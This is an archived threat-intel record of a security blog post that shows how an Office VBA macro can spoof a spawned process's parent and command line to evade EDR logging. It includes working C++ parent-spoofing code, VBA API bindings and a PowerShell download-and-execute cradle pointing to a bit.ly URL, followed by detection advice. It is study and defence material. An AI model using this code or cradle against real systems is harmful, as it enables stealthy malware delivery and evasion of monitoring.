{
	"id": "445ab500-5db5-45fe-896f-7ae27307fc28",
	"created_at": "2026-04-06T02:10:34.991636Z",
	"updated_at": "2026-04-10T03:20:30.758901Z",
	"deleted_at": null,
	"sha1_hash": "f83f1bfa784fdb778b78d719564f348fae7bbf03",
	"title": "Building an Office macro to spoof parent processes and command line arguments",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 829019,
	"plain_text": "Building an Office macro to spoof parent processes and command\r\nline arguments\r\nBy christophetd\r\nPublished: 2019-03-11 · Archived: 2026-04-06 01:37:33 UTC\r\nMost modern EDR solutions use behavioral detection, allowing to detect malware based on how it behaves instead\r\nof solely using static indicators of compromise (IoC) like file hashes or domain names. In this post, I give a VBA\r\nimplementation of two techniques allowing to spoof both the parent process and the command line arguments of a\r\nnewly created process. This implementation allows crafting stealthier Office macros, making a process spawned\r\nby a macro look like it has been created by another program such as explorer.exe and has benign-looking\r\ncommand line arguments.\r\nI am not the author of these techniques. Credits go to Will Burgess (Red Teaming in the EDR age), Didier Stevens,\r\nand Casey Smith.\r\nBackground\r\nFirst, a bit of background on the techniques we’ll implement in Visual Basic. I first heard about them in an\r\nawesome talk, Red Teaming in the EDR age, presented by Will Burgess at the Wild West Hackin’ Fest 2018.\r\nProcess parent spoofing\r\nWhen a process spawns a child process, EDR solutions such as Sysmon log the action and record various\r\ninformation such as the newly created process name, hash, executable path, as well as information about the\r\nparent process. This is very handy to build behavioral rules such as “Microsoft Word should never spawn\r\npowershell.exe”. These are rules that, in my experience, are of low complexity, high added value, and generate a\r\nlow amount of false positives.\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 1 of 11\n\nExample of a powershell process being spawned by Microsoft Word. This does not look legitimate\r\nat all.\r\nIt turns out that when creating a process using the Windows native API, you can specify any arbitrary process to\r\nbe used as a parent process. This is nothing new and I won’t describe in more depth. Actually, Didier Stevens\r\nblogged about this 10 years ago! Here’s for reference a sample piece of C++ code which will spawn cmd.exe with\r\nan arbitrary process as a parent.\r\n// Based on https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6\r\n#include \"pch.h\"\r\n#include \u003ciostream\u003e\r\n#include \u003cWindows.h\u003e\r\n#include \u003cwinternl.h\u003e\r\n#include \u003cpsapi.h\u003e\r\nint main(int argc, char **canttrustthis)\r\n{\r\nPROCESS_INFORMATION pi = { 0 };\r\nSTARTUPINFOEXA si = { 0 };\r\nSIZE_T sizeToAllocate;\r\nint parentPid = 9524; // Could be found dynamically as well\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 2 of 11\n\n// Get a handle on the parent process to use\r\nHANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);\r\nif (processHandle == NULL) {\r\nfprintf(stderr, \"OpenProcess failed\");\r\nreturn 1;\r\n}\r\n// Initialize the process start attributes\r\nInitializeProcThreadAttributeList(NULL, 1, 0, \u0026sizeToAllocate);\r\n// Allocate the size needed for the attribute list\r\nsi.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0,\r\nsizeToAllocate);\r\nInitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, \u0026sizeToAllocate);\r\n// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to\r\nuse\r\nif (!UpdateProcThreadAttribute(si.lpAttributeList, 0,\r\nPROC_THREAD_ATTRIBUTE_PARENT_PROCESS, \u0026processHandle, sizeof(HANDLE), NULL,\r\nNULL)) {\r\nfprintf(stderr, \"UpdateProcThreadAttribute failed\");\r\nreturn 1;\r\n}\r\nsi.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\nprintf(\"Creating process...\\n\");\r\nBOOL success = CreateProcessA(\r\nNULL, // App name\r\n\"C:\\\\Windows\\\\system32\\\\calc.exe\", // Command line\r\nNULL, // Process attributes\r\nNULL, // Thread attributes\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 3 of 11\n\ntrue, // Inherits handles?\r\nEXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags\r\nNULL, // Env\r\n\"C:\\\\Windows\\\\system32\", // Current dir\r\n(LPSTARTUPINFOA) \u0026si,\r\n\u0026pi\r\n);\r\nif (!success) {\r\nprintf(\"Error %d\\n\", GetLastError());\r\n}\r\nreturn 0;\r\n}\r\nThe calc.exe process appears like it has been spawned by notepad.exe\r\nProcess command line spoofing\r\nThis is a newer technique which, as far as I know, was first described by Casey Smith on Twitter (@subtee), as\r\nWill Burgess says in his talk. Adam Chester then wrote a proof-of-concept C++ code on his blog. I encourage you\r\nto go and read his article to understand the details of the implementation. But let’s take a quick look at how this\r\ntechnique works.\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 4 of 11\n\nWhen a process is created, an internal Windows data structure, the Process Environment Block, is mapped inside\r\nthe process virtual memory. This data structure contains a bunch of information about the process itself such as the\r\nlist of loaded modules and the command line used to start the process. Since the PEB (and therefore the command\r\nline) is stored in the memory space of the process and not in kernel space, it is quite easy to overwrite it provided\r\nwe have the appropriate rights on the process.\r\nThe PEB inside notepad.exe’s virtual memory space. The region is marked as RW, so we can write\r\nto it.\r\nMore specifically, the technique works as follows:\r\n1. Create the process in a suspended state\r\n2. Retrieve the PEB address using NtQueryInformationProcess\r\n3. Overwrite the command line stored in the PEB using WriteProcessMemory\r\n4. Resume the process\r\nThis will cause Windows to log the command line provided in step (1), even though the process code will take\r\ninto account the command line used to overwrite the original one in step (3). The full proof-of-concept code\r\nwritten by Adam Chester is available on Github.\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 5 of 11\n\nVBA implementation\r\nGoal\r\nThese two proof-of-concept are pretty awesome – but what if we could achieve the same from within an Office\r\nmacro, which is a classical (if not the most used) attack vector? It turns out we can call low-level Windows APIs\r\ndirectly from VBA code using P/Invoke. As an example, if you wanted to call the function OpenProcess defined\r\nas:\r\nHANDLE OpenProcess(\r\n DWORD dwDesiredAccess,\r\n BOOL bInheritHandle,\r\n DWORD dwProcessId\r\n);\r\n… you’d need the following VBA snippet:\r\nPrivate Declare PtrSafe Function OpenProcess Lib \"kernel32.dll\" ( _\r\nByVal dwDesiredAccess As Long, _\r\nByVal bInheritHandle As Integer, _\r\nByVal dwProcessId As Long _\r\n) As Long\r\n… allowing you to easily make the call:\r\nConst PROCESS_ALL_ACCESS = \u0026H1F0FFF\r\nDim handle As LongPtr\r\nDim PID As Integer\r\nPID = 4444\r\nhandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)\r\nThis means that if we define all the necessary bindings and data structures inside our VBA code, we should be\r\nable to implement the two techniques described above to spawn a new process with a spoofed parent and\r\ncommand line.\r\nThe plan is as follows:\r\n1. Retrieve the PID of a legitimate-looking process such as explorer.exe\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 6 of 11\n\n2. Create a new process (such as powershell.exe) with this process as a parent, with a legitimate looking\r\ncommand line, and in a suspended state\r\n3. Overwrite the process command line in the PEB\r\n4. Resume the process\r\nAs an illustration, the original command line we could be using is something like:\r\npowershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Runnin\r\n… which is just a powershell command to list running services whose name contains network. Then, we could\r\noverwrite it with a command line which would download a powershell payload from the Internet and execute it:\r\npowershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit\r\nResult\r\nAfter almost a whole week-end trying to wrap my head around VisualBasic (which I had never used before),\r\nP/Invoke, and debugging arguably readable VBA errors, I managed to get the VBA implementation to work. Here\r\nit is!\r\nhttps://github.com/christophetd/spoofing-office-macro\r\nHere is what Sysmon logs when the macro is executed:\r\n… while the actual parent process is WINWORD.exe, and the actual command line being executed is\r\npowershell.exe -noexit -ep bypass -c IEX((New-Object\r\nSystem.Net.WebClient).DownloadString(‘http://bit.ly/2TxpA4h’)). Tools like Process Monitor also fall for the\r\ntrick:\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 7 of 11\n\nUsage in the wild\r\nMalicious documents using similar spoofing techniques have been documented in several cases. I was able to find\r\nthe following with a bit of googling:\r\nhttp://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html\r\nhttps://twitter.com/tifkin_/status/900629117846028288\r\nhttps://pastebin.com/xc9668u8\r\nIf you have additional samples (or a VT Enterprise subscription allowing you to retrieve this one), I’d be eager to\r\ntake a look at them – feel free to PM me.\r\nDetection\r\nCountercept published an article describing how to detect parent PID spoofing.\r\nFrom a logging perspective, the implication of these techniques is that we cannot trust process creation events\r\nblindly. However, we have other options. First, we can enable Powershell Module Logging to get a runtime log of\r\nthe powershell modules being called. Here, the following log entry would clearly indicate malicious activity.\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 8 of 11\n\nAdditionally, Sysmon (and most likely other EDR solutions) still logs the fact that powershell.exe is making a\r\nnetwork connection, and shortly after spawning a process (calc.exe). This could also be considered as a suspicious\r\nbehavior to raise alerts on.\r\nFinally, we can think about how such a threat could be identified earlier in an attack chain: caught by an IDS,\r\ndetected by a mail gateway performing sandboxing, rendered useless on the endpoint if macros are disabled, etc.\r\nAnti-virus detection\r\nAt the time of writing, the detection rate on VirusTotal with no obfuscation is pretty high, 21/61 (analysis link).\r\nHowever, purely dynamic analysis such as performed by Any.run does not detect malicious activity (analysis link)\r\nand marks the file as merely “Suspicious”. Here also, the parent and command line spoofing tricked the sandbox.\r\n“Suspicious” you say? 😉\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 9 of 11\n\nPowershell.exe is showed with no parent\r\nAny.run does not show the actual command line ran by Powershell\r\nSomething a bit more advanced like Joe Sandbox, however, detects additional suspicious elements inside the file\r\nand classifies it at malicious. For instance, it detects that the powershell.exe process is spawned in a suspended\r\nstate, which is by itself suspicious.\r\nConclusion\r\nAlthough process creation logs have a huge value for us as blue teamers, we should be careful not to trust them\r\nblindly. Having a wide range of available logs – windows, EDR, firewall, proxy, IDS, mail gateways – is likely\r\nwhat’s gonna allow us to find evil. As a red teamer or penetration tester, using these techniques can be handy to\r\nbypass EDR solutions that only rely on process creation logs.\r\nThanks a lot for reading. I’d be very happy to continue the discussion on Twitter (@christophetd). Feel free to\r\nshoot me a PM for any remark, question or error you might have spotted.\r\nPost Views: 46,739\r\n+2\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 10 of 11\n\nSource: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nhttps://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
	],
	"report_names": [
		"building-an-office-macro-to-spoof-process-parent-and-command-line"
	],
	"threat_actors": [],
	"ts_created_at": 1775441434,
	"ts_updated_at": 1775791230,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f83f1bfa784fdb778b78d719564f348fae7bbf03.pdf",
		"text": "https://archive.orkl.eu/f83f1bfa784fdb778b78d719564f348fae7bbf03.txt",
		"img": "https://archive.orkl.eu/f83f1bfa784fdb778b78d719564f348fae7bbf03.jpg"
	}
}